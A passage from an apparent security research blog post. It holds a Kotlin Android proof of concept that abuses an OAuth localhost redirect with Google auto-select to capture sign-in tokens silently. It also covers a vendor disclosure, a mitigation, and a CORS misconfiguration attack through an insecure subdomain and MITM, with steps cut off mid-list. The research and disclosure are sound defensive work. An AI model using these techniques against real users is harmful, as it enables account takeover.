trigger automatic reauthentication and bypass user interaction:",{"type":22,"tag":91,"props":104282,"children":104284},{"className":103640,"code":104283,"language":103642,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[104285],{"type":22,"tag":30,"props":104286,"children":104287},{"__ignoreMap":7},[104288,104315,104334,104341,104360,104371,104382,104413,104436,104483,104490,104497,104504,104544,104555,104562,104569,104588,104611,104622,104641,104656,104667,104687,104698,104715,104741,104765,104772,104783,104795,104808,104816,104824,104831,104838,104846,104854,104862,104870,104878,104886,104894,104901,104908,104916,104924,104932,104939,104946,104954,104961,104982,104990,104997,105004,105015,105039,105051,105068,105075,105082,105090,105098,105106,105134],{"type":22,"tag":101,"props":104289,"children":104290},{"class":103,"line":104},[104291,104295,104299,104303,104307,104311],{"type":22,"tag":101,"props":104292,"children":104293},{"style":108},[104294],{"type":27,"value":73949},{"type":22,"tag":101,"props":104296,"children":104297},{"style":108},[104298],{"type":27,"value":826},{"type":22,"tag":101,"props":104300,"children":104301},{"style":926},[104302],{"type":27,"value":73958},{"type":22,"tag":101,"props":104304,"children":104305},{"style":120},[104306],{"type":27,"value":73963},{"type":22,"tag":101,"props":104308,"children":104309},{"style":114},[104310],{"type":27,"value":73968},{"type":22,"tag":101,"props":104312,"children":104313},{"style":120},[104314],{"type":27,"value":73973},{"type":22,"tag":101,"props":104316,"children":104317},{"class":103,"line":157},[104318,104322,104326,104330],{"type":22,"tag":101,"props":104319,"children":104320},{"style":108},[104321],{"type":27,"value":73981},{"type":22,"tag":101,"props":104323,"children":104324},{"style":120},[104325],{"type":27,"value":231},{"type":22,"tag":101,"props":104327,"children":104328},{"style":926},[104329],{"type":27,"value":73990},{"type":22,"tag":101,"props":104331,"children":104332},{"style":120},[104333],{"type":27,"value":73995},{"type":22,"tag":101,"props":104335,"children":104336},{"class":103,"line":182},[104337],{"type":22,"tag":101,"props":104338,"children":104339},{"emptyLinePlaceholder":15},[104340],{"type":27,"value":1581},{"type":22,"tag":101,"props":104342,"children":104343},{"class":103,"line":367},[104344,104348,104352,104356],{"type":22,"tag":101,"props":104345,"children":104346},{"style":926},[104347],{"type":27,"value":74018},{"type":22,"tag":101,"props":104349,"children":104350},{"style":120},[104351],{"type":27,"value":74023},{"type":22,"tag":101,"props":104353,"children":104354},{"style":926},[104355],{"type":27,"value":74028},{"type":22,"tag":101,"props":104357,"children":104358},{"style":120},[104359],{"type":27,"value":154},{"type":22,"tag":101,"props":104361,"children":104362},{"class":103,"line":398},[104363,104367],{"type":22,"tag":101,"props":104364,"children":104365},{"style":3595},[104366],{"type":27,"value":74040},{"type":22,"tag":101,"props":104368,"children":104369},{"style":120},[104370],{"type":27,"value":154},{"type":22,"tag":101,"props":104372,"children":104373},{"class":103,"line":428},[104374,104378],{"type":22,"tag":101,"props":104375,"children":104376},{"style":926},[104377],{"type":27,"value":74052},{"type":22,"tag":101,"props":104379,"children":104380},{"style":120},[104381],{"type":27,"value":11746},{"type":22,"tag":101,"props":104383,"children":104384},{"class":103,"line":997},[104385,104389,104393,104397,104401,104405,104409],{"type":22,"tag":101,"props":104386,"children":104387},{"style":120},[104388],{"type":27,"value":74064},{"type":22,"tag":101,"props":104390,"children":104391},{"style":926},[104392],{"type":27,"value":74069},{"type":22,"tag":101,"props":104394,"children":104395},{"style":120},[104396],{"type":27,"value":980},{"type":22,"tag":101,"props":104398,"children":104399},{"style":6476},[104400],{"type":27,"value":74078},{"type":22,"tag":101,"props":104402,"children":104403},{"style":120},[104404],{"type":27,"value":758},{"type":22,"tag":101,"props":104406,"children":104407},{"style":6476},[104408],{"type":27,"value":74087},{"type":22,"tag":101,"props":104410,"children":104411},{"style":120},[104412],{"type":27,"value":2510},{"type":22,"tag":101,"props":104414,"children":104415},{"class":103,"line":1032},[104416,104420,104424,104428,104432],{"type":22,"tag":101,"props":104417,"children":104418},{"style":120},[104419],{"type":27,"value":74099},{"type":22,"tag":101,"props":104421,"children":104422},{"style":108},[104423],{"type":27,"value":52408},{"type":22,"tag":101,"props":104425,"children":104426},{"style":120},[104427],{"type":27,"value":74108},{"type":22,"tag":101,"props":104429,"children":104430},{"style":114},[104431],{"type":27,"value":74113},{"type":22,"tag":101,"props":104433,"children":104434},{"style":120},[104435],{"type":27,"value":1463},{"type":22,"tag":101,"props":104437,"children":104438},{"class":103,"line":1063},[104439,104443,104447,104451,104455,104459,104463,104467,104471,104475,104479],{"type":22,"tag":101,"props":104440,"children":104441},{"style":120},[104442],{"type":27,"value":74064},{"type":22,"tag":101,"props":104444,"children":104445},{"style":926},[104446],{"type":27,"value":55450},{"type":22,"tag":101,"props":104448,"children":104449},{"style":120},[104450],{"type":27,"value":980},{"type":22,"tag":101,"props":104452,"children":104453},{"style":6476},[104454],{"type":27,"value":74078},{"type":22,"tag":101,"props":104456,"children":104457},{"style":120},[104458],{"type":27,"value":758},{"type":22,"tag":101,"props":104460,"children":104461},{"style":6476},[104462],{"type":27,"value":74145},{"type":22,"tag":101,"props":104464,"children":104465},{"style":108},[104466],{"type":27,"value":38104},{"type":22,"tag":101,"props":104468,"children":104469},{"style":166},[104470],{"type":27,"value":74154},{"type":22,"tag":101,"props":104472,"children":104473},{"style":108},[104474],{"type":27,"value":38136},{"type":22,"tag":101,"props":104476,"children":104477},{"style":6476},[104478],{"type":27,"value":24051},{"type":22,"tag":101,"props":104480,"children":104481},{"style":120},[104482],{"type":27,"value":74167},{"type":22,"tag":101,"props":104484,"children":104485},{"class":103,"line":1071},[104486],{"type":22,"tag":101,"props":104487,"children":104488},{"style":120},[104489],{"type":27,"value":62882},{"type":22,"tag":101,"props":104491,"children":104492},{"class":103,"line":1110},[104493],{"type":22,"tag":101,"props":104494,"children":104495},{"style":120},[104496],{"type":27,"value":2398},{"type":22,"tag":101,"props":104498,"children":104499},{"class":103,"line":1118},[104500],{"type":22,"tag":101,"props":104501,"children":104502},{"emptyLinePlaceholder":15},[104503],{"type":27,"value":1581},{"type":22,"tag":101,"props":104505,"children":104506},{"class":103,"line":1158},[104507,104511,104515,104519,104523,104527,104531,104535,104540],{"type":22,"tag":101,"props":104508,"children":104509},{"style":108},[104510],{"type":27,"value":74204},{"type":22,"tag":101,"props":104512,"children":104513},{"style":120},[104514],{"type":27,"value":74230},{"type":22,"tag":101,"props":104516,"children":104517},{"style":166},[104518],{"type":27,"value":1511},{"type":22,"tag":101,"props":104520,"children":104521},{"style":926},[104522],{"type":27,"value":74239},{"type":22,"tag":101,"props":104524,"children":104525},{"style":120},[104526],{"type":27,"value":74244},{"type":22,"tag":101,"props":104528,"children":104529},{"style":926},[104530],{"type":27,"value":43206},{"type":22,"tag":101,"props":104532,"children":104533},{"style":120},[104534],{"type":27,"value":980},{"type":22,"tag":101,"props":104536,"children":104537},{"style":6476},[104538],{"type":27,"value":104539},"\"http://localhost:3000\"",{"type":22,"tag":101,"props":104541,"children":104542},{"style":120},[104543],{"type":27,"value":23703},{"type":22,"tag":101,"props":104545,"children":104546},{"class":103,"line":1166},[104547,104551],{"type":22,"tag":101,"props":104548,"children":104549},{"style":926},[104550],{"type":27,"value":74261},{"type":22,"tag":101,"props":104552,"children":104553},{"style":120},[104554],{"type":27,"value":74266},{"type":22,"tag":101,"props":104556,"children":104557},{"class":103,"line":1215},[104558],{"type":22,"tag":101,"props":104559,"children":104560},{"style":120},[104561],{"type":27,"value":1734},{"type":22,"tag":101,"props":104563,"children":104564},{"class":103,"line":2425},[104565],{"type":22,"tag":101,"props":104566,"children":104567},{"emptyLinePlaceholder":15},[104568],{"type":27,"value":1581},{"type":22,"tag":101,"props":104570,"children":104571},{"class":103,"line":5417},[104572,104576,104580,104584],{"type":22,"tag":101,"props":104573,"children":104574},{"style":108},[104575],{"type":27,"value":74288},{"type":22,"tag":101,"props":104577,"children":104578},{"style":108},[104579],{"type":27,"value":826},{"type":22,"tag":101,"props":104581,"children":104582},{"style":926},[104583],{"type":27,"value":74297},{"type":22,"tag":101,"props":104585,"children":104586},{"style":120},[104587],{"type":27,"value":19734},{"type":22,"tag":101,"props":104589,"children":104590},{"class":103,"line":7714},[104591,104595,104599,104603,104607],{"type":22,"tag":101,"props":104592,"children":104593},{"style":926},[104594],{"type":27,"value":74309},{"type":22,"tag":101,"props":104596,"children":104597},{"style":120},[104598],{"type":27,"value":74314},{"type":22,"tag":101,"props":104600,"children":104601},{"style":166},[104602],{"type":27,"value":1511},{"type":22,"tag":101,"props":104604,"children":104605},{"style":1544},[104606],{"type":27,"value":74323},{"type":22,"tag":101,"props":104608,"children":104609},{"style":120},[104610],{"type":27,"value":1463},{"type":22,"tag":101,"props":104612,"children":104613},{"class":103,"line":7723},[104614,104618],{"type":22,"tag":101,"props":104615,"children":104616},{"style":926},[104617],{"type":27,"value":74335},{"type":22,"tag":101,"props":104619,"children":104620},{"style":120},[104621],{"type":27,"value":154},{"type":22,"tag":101,"props":104623,"children":104624},{"class":103,"line":7791},[104625,104629,104633,104637],{"type":22,"tag":101,"props":104626,"children":104627},{"style":108},[104628],{"type":27,"value":74347},{"type":22,"tag":101,"props":104630,"children":104631},{"style":120},[104632],{"type":27,"value":980},{"type":22,"tag":101,"props":104634,"children":104635},{"style":6476},[104636],{"type":27,"value":74356},{"type":22,"tag":101,"props":104638,"children":104639},{"style":120},[104640],{"type":27,"value":1463},{"type":22,"tag":101,"props":104642,"children":104643},{"class":103,"line":7799},[104644,104648,104652],{"type":22,"tag":101,"props":104645,"children":104646},{"style":120},[104647],{"type":27,"value":74368},{"type":22,"tag":101,"props":104649,"children":104650},{"style":926},[104651],{"type":27,"value":74373},{"type":22,"tag":101,"props":104653,"children":104654},{"style":120},[104655],{"type":27,"value":154},{"type":22,"tag":101,"props":104657,"children":104658},{"class":103,"line":7829},[104659,104663],{"type":22,"tag":101,"props":104660,"children":104661},{"style":926},[104662],{"type":27,"value":74385},{"type":22,"tag":101,"props":104664,"children":104665},{"style":120},[104666],{"type":27,"value":154},{"type":22,"tag":101,"props":104668,"children":104669},{"class":103,"line":7837},[104670,104674,104678,104683],{"type":22,"tag":101,"props":104671,"children":104672},{"style":926},[104673],{"type":27,"value":74462},{"type":22,"tag":101,"props":104675,"children":104676},{"style":120},[104677],{"type":27,"value":980},{"type":22,"tag":101,"props":104679,"children":104680},{"style":6476},[104681],{"type":27,"value":104682},"\"Test\"",{"type":22,"tag":101,"props":104684,"children":104685},{"style":120},[104686],{"type":27,"value":2510},{"type":22,"tag":101,"props":104688,"children":104689},{"class":103,"line":7868},[104690,104694],{"type":22,"tag":101,"props":104691,"children":104692},{"style":926},[104693],{"type":27,"value":74528},{"type":22,"tag":101,"props":104695,"children":104696},{"style":120},[104697],{"type":27,"value":154},{"type":22,"tag":101,"props":104699,"children":104700},{"class":103,"line":7876},[104701,104706,104710],{"type":22,"tag":101,"props":104702,"children":104703},{"style":120},[104704],{"type":27,"value":104705}," src ",{"type":22,"tag":101,"props":104707,"children":104708},{"style":166},[104709],{"type":27,"value":1511},{"type":22,"tag":101,"props":104711,"children":104712},{"style":6476},[104713],{"type":27,"value":104714}," \"https://accounts.google.com/gsi/client\"\n",{"type":22,"tag":101,"props":104716,"children":104717},{"class":103,"line":7936},[104718,104723,104728,104732,104736],{"type":22,"tag":101,"props":104719,"children":104720},{"style":120},[104721],{"type":27,"value":104722}," attributes[",{"type":22,"tag":101,"props":104724,"children":104725},{"style":6476},[104726],{"type":27,"value":104727},"\"async\"",{"type":22,"tag":101,"props":104729,"children":104730},{"style":120},[104731],{"type":27,"value":12668},{"type":22,"tag":101,"props":104733,"children":104734},{"style":166},[104735],{"type":27,"value":1511},{"type":22,"tag":101,"props":104737,"children":104738},{"style":6476},[104739],{"type":27,"value":104740}," \"\"\n",{"type":22,"tag":101,"props":104742,"children":104743},{"class":103,"line":13054},[104744,104748,104753,104757,104761],{"type":22,"tag":101,"props":104745,"children":104746},{"style":120},[104747],{"type":27,"value":104722},{"type":22,"tag":101,"props":104749,"children":104750},{"style":6476},[104751],{"type":27,"value":104752},"\"defer\"",{"type":22,"tag":101,"props":104754,"children":104755},{"style":120},[104756],{"type":27,"value":12668},{"type":22,"tag":101,"props":104758,"children":104759},{"style":166},[104760],{"type":27,"value":1511},{"type":22,"tag":101,"props":104762,"children":104763},{"style":6476},[104764],{"type":27,"value":104740},{"type":22,"tag":101,"props":104766,"children":104767},{"class":103,"line":13072},[104768],{"type":22,"tag":101,"props":104769,"children":104770},{"style":120},[104771],{"type":27,"value":74553},{"type":22,"tag":101,"props":104773,"children":104774},{"class":103,"line":13117},[104775,104779],{"type":22,"tag":101,"props":104776,"children":104777},{"style":926},[104778],{"type":27,"value":74528},{"type":22,"tag":101,"props":104780,"children":104781},{"style":120},[104782],{"type":27,"value":154},{"type":22,"tag":101,"props":104784,"children":104785},{"class":103,"line":13223},[104786,104791],{"type":22,"tag":101,"props":104787,"children":104788},{"style":926},[104789],{"type":27,"value":104790}," unsafe",{"type":22,"tag":101,"props":104792,"children":104793},{"style":120},[104794],{"type":27,"value":154},{"type":22,"tag":101,"props":104796,"children":104797},{"class":103,"line":27496},[104798,104803],{"type":22,"tag":101,"props":104799,"children":104800},{"style":166},[104801],{"type":27,"value":104802}," +",{"type":22,"tag":101,"props":104804,"children":104805},{"style":6476},[104806],{"type":27,"value":104807},"\"\"\"\n",{"type":22,"tag":101,"props":104809,"children":104810},{"class":103,"line":27531},[104811],{"type":22,"tag":101,"props":104812,"children":104813},{"style":6476},[104814],{"type":27,"value":104815}," function handleCredentialResponse(response) {\n",{"type":22,"tag":101,"props":104817,"children":104818},{"class":103,"line":27539},[104819],{"type":22,"tag":101,"props":104820,"children":104821},{"style":6476},[104822],{"type":27,"value":104823}," alert(\"credential: \" + response.credential);\n",{"type":22,"tag":101,"props":104825,"children":104826},{"class":103,"line":27547},[104827],{"type":22,"tag":101,"props":104828,"children":104829},{"style":6476},[104830],{"type":27,"value":1734},{"type":22,"tag":101,"props":104832,"children":104833},{"class":103,"line":27556},[104834],{"type":22,"tag":101,"props":104835,"children":104836},{"emptyLinePlaceholder":15},[104837],{"type":27,"value":1581},{"type":22,"tag":101,"props":104839,"children":104840},{"class":103,"line":27598},[104841],{"type":22,"tag":101,"props":104842,"children":104843},{"style":6476},[104844],{"type":27,"value":104845}," window.onload = async function () {\n",{"type":22,"tag":101,"props":104847,"children":104848},{"class":103,"line":27631},[104849],{"type":22,"tag":101,"props":104850,"children":104851},{"style":6476},[104852],{"type":27,"value":104853}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":22,"tag":101,"props":104855,"children":104856},{"class":103,"line":27639},[104857],{"type":22,"tag":101,"props":104858,"children":104859},{"style":6476},[104860],{"type":27,"value":104861}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":22,"tag":101,"props":104863,"children":104864},{"class":103,"line":27647},[104865],{"type":22,"tag":101,"props":104866,"children":104867},{"style":6476},[104868],{"type":27,"value":104869}," google.accounts.id.initialize({\n",{"type":22,"tag":101,"props":104871,"children":104872},{"class":103,"line":27656},[104873],{"type":22,"tag":101,"props":104874,"children":104875},{"style":6476},[104876],{"type":27,"value":104877}," client_id: client_id,\n",{"type":22,"tag":101,"props":104879,"children":104880},{"class":103,"line":27732},[104881],{"type":22,"tag":101,"props":104882,"children":104883},{"style":6476},[104884],{"type":27,"value":104885}," callback: handleCredentialResponse,\n",{"type":22,"tag":101,"props":104887,"children":104888},{"class":103,"line":27765},[104889],{"type":22,"tag":101,"props":104890,"children":104891},{"style":6476},[104892],{"type":27,"value":104893}," auto_select: true\n",{"type":22,"tag":101,"props":104895,"children":104896},{"class":103,"line":27773},[104897],{"type":22,"tag":101,"props":104898,"children":104899},{"style":6476},[104900],{"type":27,"value":11310},{"type":22,"tag":101,"props":104902,"children":104903},{"class":103,"line":27781},[104904],{"type":22,"tag":101,"props":104905,"children":104906},{"emptyLinePlaceholder":15},[104907],{"type":27,"value":1581},{"type":22,"tag":101,"props":104909,"children":104910},{"class":103,"line":27818},[104911],{"type":22,"tag":101,"props":104912,"children":104913},{"style":6476},[104914],{"type":27,"value":104915}," google.accounts.id.renderButton(\n",{"type":22,"tag":101,"props":104917,"children":104918},{"class":103,"line":27831},[104919],{"type":22,"tag":101,"props":104920,"children":104921},{"style":6476},[104922],{"type":27,"value":104923}," document.getElementById(\"g_id_signin\"),\n",{"type":22,"tag":101,"props":104925,"children":104926},{"class":103,"line":27844},[104927],{"type":22,"tag":101,"props":104928,"children":104929},{"style":6476},[104930],{"type":27,"value":104931}," { theme: \"outline\", size: \"large\" }\n",{"type":22,"tag":101,"props":104933,"children":104934},{"class":103,"line":27857},[104935],{"type":22,"tag":101,"props":104936,"children":104937},{"style":6476},[104938],{"type":27,"value":10788},{"type":22,"tag":101,"props":104940,"children":104941},{"class":103,"line":27911},[104942],{"type":22,"tag":101,"props":104943,"children":104944},{"emptyLinePlaceholder":15},[104945],{"type":27,"value":1581},{"type":22,"tag":101,"props":104947,"children":104948},{"class":103,"line":27920},[104949],{"type":22,"tag":101,"props":104950,"children":104951},{"style":6476},[104952],{"type":27,"value":104953}," google.accounts.id.prompt();\n",{"type":22,"tag":101,"props":104955,"children":104956},{"class":103,"line":36277},[104957],{"type":22,"tag":101,"props":104958,"children":104959},{"style":6476},[104960],{"type":27,"value":3812},{"type":22,"tag":101,"props":104962,"children":104963},{"class":103,"line":36298},[104964,104969,104973,104978],{"type":22,"tag":101,"props":104965,"children":104966},{"style":6476},[104967],{"type":27,"value":104968}," \"\"\"",{"type":22,"tag":101,"props":104970,"children":104971},{"style":120},[104972],{"type":27,"value":231},{"type":22,"tag":101,"props":104974,"children":104975},{"style":926},[104976],{"type":27,"value":104977},"trimIndent",{"type":22,"tag":101,"props":104979,"children":104980},{"style":120},[104981],{"type":27,"value":11746},{"type":22,"tag":101,"props":104983,"children":104984},{"class":103,"line":84458},[104985],{"type":22,"tag":101,"props":104986,"children":104987},{"style":120},[104988],{"type":27,"value":104989}," }\n",{"type":22,"tag":101,"props":104991,"children":104992},{"class":103,"line":84471},[104993],{"type":22,"tag":101,"props":104994,"children":104995},{"style":120},[104996],{"type":27,"value":74553},{"type":22,"tag":101,"props":104998,"children":104999},{"class":103,"line":84479},[105000],{"type":22,"tag":101,"props":105001,"children":105002},{"style":120},[105003],{"type":27,"value":74483},{"type":22,"tag":101,"props":105005,"children":105006},{"class":103,"line":84487},[105007,105011],{"type":22,"tag":101,"props":105008,"children":105009},{"style":926},[105010],{"type":27,"value":74491},{"type":22,"tag":101,"props":105012,"children":105013},{"style":120},[105014],{"type":27,"value":154},{"type":22,"tag":101,"props":105016,"children":105017},{"class":103,"line":84495},[105018,105022,105026,105030,105035],{"type":22,"tag":101,"props":105019,"children":105020},{"style":926},[105021],{"type":27,"value":74503},{"type":22,"tag":101,"props":105023,"children":105024},{"style":120},[105025],{"type":27,"value":1479},{"type":22,"tag":101,"props":105027,"children":105028},{"style":166},[105029],{"type":27,"value":8426},{"type":22,"tag":101,"props":105031,"children":105032},{"style":6476},[105033],{"type":27,"value":105034},"\"Login here:\"",{"type":22,"tag":101,"props":105036,"children":105037},{"style":120},[105038],{"type":27,"value":13601},{"type":22,"tag":101,"props":105040,"children":105041},{"class":103,"line":84535},[105042,105047],{"type":22,"tag":101,"props":105043,"children":105044},{"style":926},[105045],{"type":27,"value":105046}," div",{"type":22,"tag":101,"props":105048,"children":105049},{"style":120},[105050],{"type":27,"value":154},{"type":22,"tag":101,"props":105052,"children":105053},{"class":103,"line":84543},[105054,105059,105063],{"type":22,"tag":101,"props":105055,"children":105056},{"style":120},[105057],{"type":27,"value":105058}," id ",{"type":22,"tag":101,"props":105060,"children":105061},{"style":166},[105062],{"type":27,"value":1511},{"type":22,"tag":101,"props":105064,"children":105065},{"style":6476},[105066],{"type":27,"value":105067}," \"g_id_signin\"\n",{"type":22,"tag":101,"props":105069,"children":105070},{"class":103,"line":91730},[105071],{"type":22,"tag":101,"props":105072,"children":105073},{"style":120},[105074],{"type":27,"value":74553},{"type":22,"tag":101,"props":105076,"children":105077},{"class":103,"line":91738},[105078],{"type":22,"tag":101,"props":105079,"children":105080},{"style":120},[105081],{"type":27,"value":74483},{"type":22,"tag":101,"props":105083,"children":105085},{"class":103,"line":105084},62,[105086],{"type":22,"tag":101,"props":105087,"children":105088},{"style":120},[105089],{"type":27,"value":74568},{"type":22,"tag":101,"props":105091,"children":105093},{"class":103,"line":105092},63,[105094],{"type":22,"tag":101,"props":105095,"children":105096},{"style":120},[105097],{"type":27,"value":74576},{"type":22,"tag":101,"props":105099,"children":105101},{"class":103,"line":105100},64,[105102],{"type":22,"tag":101,"props":105103,"children":105104},{"style":120},[105105],{"type":27,"value":62882},{"type":22,"tag":101,"props":105107,"children":105109},{"class":103,"line":105108},65,[105110,105114,105118,105122,105126,105130],{"type":22,"tag":101,"props":105111,"children":105112},{"style":120},[105113],{"type":27,"value":74591},{"type":22,"tag":101,"props":105115,"children":105116},{"style":926},[105117],{"type":27,"value":74596},{"type":22,"tag":101,"props":105119,"children":105120},{"style":120},[105121],{"type":27,"value":74601},{"type":22,"tag":101,"props":105123,"children":105124},{"style":166},[105125],{"type":27,"value":1511},{"type":22,"tag":101,"props":105127,"children":105128},{"style":108},[105129],{"type":27,"value":16473},{"type":22,"tag":101,"props":105131,"children":105132},{"style":120},[105133],{"type":27,"value":2510},{"type":22,"tag":101,"props":105135,"children":105137},{"class":103,"line":105136},66,[105138],{"type":22,"tag":101,"props":105139,"children":105140},{"style":120},[105141],{"type":27,"value":1734},{"type":22,"tag":23,"props":105143,"children":105144},{},[105145],{"type":27,"value":105146},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":22,"tag":23,"props":105148,"children":105149},{},[105150],{"type":27,"value":105151},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":22,"tag":1760,"props":105153,"children":105155},{"id":105154},"how-to-mitigate",[105156],{"type":27,"value":105157},"How to Mitigate",{"type":22,"tag":23,"props":105159,"children":105160},{},[105161],{"type":27,"value":105162},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":22,"tag":53,"props":105164,"children":105166},{"id":105165},"exploiting-cors",[105167],{"type":27,"value":105168},"Exploiting CORS",{"type":22,"tag":23,"props":105170,"children":105171},{},[105172],{"type":27,"value":105173},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":22,"tag":23,"props":105175,"children":105176},{},[105177,105179,105185],{"type":27,"value":105178},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":22,"tag":30,"props":105180,"children":105182},{"className":105181},[],[105183],{"type":27,"value":105184},"http://",{"type":27,"value":105186}," schema for any subdomain:",{"type":22,"tag":91,"props":105188,"children":105192},{"className":105189,"code":105190,"language":105191,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[105193],{"type":22,"tag":30,"props":105194,"children":105195},{"__ignoreMap":7},[105196,105204,105212,105220],{"type":22,"tag":101,"props":105197,"children":105198},{"class":103,"line":104},[105199],{"type":22,"tag":101,"props":105200,"children":105201},{},[105202],{"type":27,"value":105203},"HTTP 200 OK\n",{"type":22,"tag":101,"props":105205,"children":105206},{"class":103,"line":157},[105207],{"type":22,"tag":101,"props":105208,"children":105209},{},[105210],{"type":27,"value":105211},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":22,"tag":101,"props":105213,"children":105214},{"class":103,"line":182},[105215],{"type":22,"tag":101,"props":105216,"children":105217},{},[105218],{"type":27,"value":105219},"Access-Control-Allow-Credentials: true\n",{"type":22,"tag":101,"props":105221,"children":105222},{"class":103,"line":367},[105223],{"type":22,"tag":101,"props":105224,"children":105225},{},[105226],{"type":27,"value":14324},{"type":22,"tag":1760,"props":105228,"children":105230},{"id":105229},"cors-misconfiguration-by-lack-of-tls",[105231],{"type":27,"value":105232},"CORS Misconfiguration by Lack of TLS",{"type":22,"tag":23,"props":105234,"children":105235},{},[105236,105238,105244],{"type":27,"value":105237},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":22,"tag":30,"props":105239,"children":105241},{"className":105240},[],[105242],{"type":27,"value":105243},"exchange.com",{"type":27,"value":105245}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":22,"tag":23,"props":105247,"children":105248},{},[105249],{"type":27,"value":105250},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":22,"tag":6839,"props":105252,"children":105253},{},[105254,105274],{"type":22,"tag":6832,"props":105255,"children":105256},{},[105257,105259,105264,105266,105272],{"type":27,"value":105258},"Chrome --> won't work because cookies are not sent in ",{"type":22,"tag":30,"props":105260,"children":105262},{"className":105261},[],[105263],{"type":27,"value":105184},{"type":27,"value":105265}," --> ",{"type":22,"tag":30,"props":105267,"children":105269},{"className":105268},[],[105270],{"type":27,"value":105271},"https://",{"type":27,"value":105273}," requests, even if same-site",{"type":22,"tag":6832,"props":105275,"children":105276},{},[105277,105279],{"type":27,"value":105278},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":22,"tag":30,"props":105280,"children":105282},{"className":105281},[],[105283],{"type":27,"value":41761},{"type":22,"tag":1760,"props":105285,"children":105287},{"id":105286},"exploit-1",[105288],{"type":27,"value":103618},{"type":22,"tag":23,"props":105290,"children":105291},{},[105292],{"type":27,"value":105293},"To exploit it, we must follow some steps:",{"type":22,"tag":6828,"props":105295,"children":105296},{},[105297,105302,105307],{"type":22,"tag":6832,"props":105298,"children":105299},{},[105300],{"type":27,"value":105301},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":22,"tag":6832,"props":105303,"children":105304},{},[105305],{"type":27,"value":105306},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":22,"tag":6832,"props":105308,"children":105309},{},[105310,105312,105317],{"type":27,"value":105311},"Use 